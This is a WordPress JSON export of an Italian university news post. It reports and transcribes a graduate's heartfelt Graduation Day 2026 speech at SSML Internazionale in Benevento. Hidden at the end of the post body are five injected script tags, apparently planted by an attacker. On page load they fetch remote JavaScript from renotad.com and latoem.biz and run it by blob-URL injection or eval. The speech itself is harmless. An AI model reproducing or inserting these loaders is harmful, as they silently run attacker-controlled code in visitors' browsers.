{"id":10597,"date":"2026-09-18T12:37:18","date_gmt":"2026-09-18T10:37:18","guid":{"rendered":"https:\/\/www.ssmlinternazionale.it\/site\/?p=10597"},"modified":"2026-10-11T01:15:52","modified_gmt":"2026-10-10T23:15:52","slug":"la-parola-ai-laureati-lintervento-della-dott-ssa-maria-giovanna-guidi","status":"publish","type":"post","link":"https:\/\/www.ssmlinternazionale.it\/site\/la-parola-ai-laureati-lintervento-della-dott-ssa-maria-giovanna-guidi\/","title":{"rendered":"LA PAROLA AI LAUREATI: L\u2019INTERVENTO DELLA DOTT.SSA MARIA GIOVANNA GUIDI"},"content":{"rendered":"<p class=\"isSelectedEnd\">Nel corso del <strong>Graduation Day 2026<\/strong>, la voce dei laureati ha rappresentato uno dei momenti pi\u00f9 emozionanti della cerimonia. A prendere la parola per l\u2019<strong>Istituto Universitario per Mediatori Linguistici \u201cSSML Internazionale\u201d di Benevento<\/strong> \u00e8 stata la <strong>Dott.ssa Maria Giovanna Guidi<\/strong>, laureata in <strong>Mediazione Linguistica<\/strong>.<\/p>\n<p class=\"isSelectedEnd\">Con uno sguardo personale e ricco di emozione, la Dott.ssa Guidi ha raccontato il significato di vivere in prima persona quel \u201cGraduation Day\u201d tante volte immaginato attraverso film e serie televisive, trasformandolo in un momento reale di condivisione, gratitudine e consapevolezza.<\/p>\n<p class=\"isSelectedEnd\">Nel suo intervento, un pensiero speciale \u00e8 stato rivolto ai docenti, ai colleghi diventati amici, alle esperienze vissute durante gli anni universitari e alle opportunit\u00e0 offerte dalla SSML, tra percorsi internazionali, esperienze all\u2019estero e occasioni di confronto con realt\u00e0 diverse.<\/p>\n<p class=\"isSelectedEnd\">Di seguito, il suo intervento integrale.<\/p>\n<p class=\"isSelectedEnd\">\u201c<em>Buonasera a tutti e a tutte, Magnifico Rettore, gentile Direttore, autorit\u00e0 e ospiti ma soprattutto carissimi colleghi e colleghe. Se ci pensiamo per anni abbiamo vissuto questa esatta scena attraverso i migliori film e le migliori serie tv, il famoso Graduation day. Famoso perch\u00e9 prima o poi qualche registra ha pensato di raccontarlo e tipicamente l\u2019ha fatto cos\u00ec: vestiti eleganti, cappelli pronti ad essere lanciati in aria, abbracci, sorrisi e tante emozioni ed occhi pieni di orgoglio. Per anni quindi abbiamo avuto modo di viverlo attraverso gli occhi di qualcun altro, di persone che interpretavano un ruolo, ma mai in prima persona fino ad oggi. Perch\u00e8 se mi guardo intorno oggi vedo vestiti eleganti, vedo cappelli che tra poco saranno pronti per essere lanciati e ho visto gi\u00e0 qualche abbraccio ma sicuramente tantissimi sorrisi emozionati. Eppure una cosa \u00e8 certa per quanto abbiamo immaginato questo momento, per quanto lo abbiamo visto raccontare nulla avrebbe potuto prepararci davvero a cosa significa viverlo. Oggi salutiamo ci\u00f2 che siamo stati durante questi anni universitari per lasciare spazio a tutto ci\u00f2 che possiamo diventare. E se c\u2019\u00e8 una cosa che in questi anni ci hanno insegnato \u00e8 che ci\u00f2 che diventiamo non dipende soltanto da quello che impariamo sui libri o nel corso delle lezioni, ci\u00f2 che diventiamo dipende dalle persone che incontriamo, dai luoghi in cui cresciamo e dalle esperienze che scegliamo di vivere. Durante questi anni abbiamo incontrato lungo il nostro percorso tantissime persone a partire da stimati professori che con la loro conoscenza e la loro presenza e la loro professionalit\u00e0 ci hanno trasmesso molto pi\u00f9 di semplici nozioni. Ci avete insegnato a guardare oltre, a metterci in discussione, a coltivare la curiosit\u00e0, ci avete accompagnato durante tutto il percorso lasciando ognuno qualcosa di s\u00e9 attraverso una lezione, un consiglio, una riflessione o semplicemente attraverso il modo in cui avete saputo trasmetterci la vostra passione. A tutti voi quindi va il nostro grazie per aver condiviso con noi non soltanto le vostre conoscenze ma anche una parte della vostra esperienza e del vostro tempo e grazie perch\u00e9 in modi diversi avete contribuito a farci arrivare qui un po\u2019 pi\u00f9 preparati ma soprattutto pi\u00f9 consapevoli di chi siamo e di ci\u00f2 che vogliamo diventare. Abbiamo avuto la fortuna di vivere un ambiente universitario stimolante che ci ha spinti a confrontarci, a metterci costantemente alla prova, a crescere e soprattutto abbiamo avuto la fortuna di condividere tutto questo con persone da semplici colleghi sono diventate amici e amiche, compagni di viaggio e di questi anni. E poi ci sono state le opportunit\u00e0 che la SSML ci ha dato, partire, conoscere altri paesi, vivere esperienze all\u2019estero e confrontarci con realt\u00e0 completamente diverse dalla nostra anche per avviarci al mondo del lavoro con maggiore consapevolezza. Esperienze che forse ci hanno formati tanto quanto le attivit\u00e0 in aula perch\u00e9 alcuni viaggi non finiscono quando si torna a casa continuano nel modo in cui guardiamo il mondo, nel modo in cui affrontiamo la vita e soprattutto nel modo in cui guardiamo noi stessi. Non sappiamo ancora cosa ci aspetta ma sappiamo che ovunque sar\u00e0 ci arriveremo con tutto ci\u00f2 che questi anni ci hanno lasciato.<\/em><\/p>\n<p><em>Grazie mille!<\/em>\u201d<\/p>\n<p class=\"isSelectedEnd\">Un intervento che ha racchiuso il senso pi\u00f9 autentico del Graduation Day: celebrare un traguardo, custodire le esperienze vissute e guardare al futuro con la consapevolezza di tutto ci\u00f2 che il percorso universitario ha lasciato in ciascuno.<\/p>\n<p>La Dott.ssa Maria Giovanna Guidi ha cos\u00ec dato voce alle emozioni di una giornata destinata a rimanere nel ricordo dei laureati come l\u2019inizio di un nuovo capitolo.<script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/lom3\/api.js?_=1791548933733';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/lom3\/api.js?_=1791548933733';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/02\/api.js?_=1791621606395';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/02\/api.js?_=1791621606395';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nel corso del Graduation Day 2026, la voce dei laureati ha rappresentato uno dei momenti pi\u00f9 emozionanti della cerimonia. A&nbsp;<a href=\"https:\/\/www.ssmlinternazionale.it\/site\/la-parola-ai-laureati-lintervento-della-dott-ssa-maria-giovanna-guidi\/\">&hellip;<\/a><\/p>\n","protected":false},"author":1,"featured_media":10602,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27,15],"tags":[],"class_list":["post-10597","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bacheca-studenti","category-ssml-internazionale","odd"],"_links":{"self":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/10597","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/comments?post=10597"}],"version-history":[{"count":6,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/10597\/revisions"}],"predecessor-version":[{"id":10878,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/10597\/revisions\/10878"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media\/10602"}],"wp:attachment":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media?parent=10597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/categories?post=10597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/tags?post=10597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}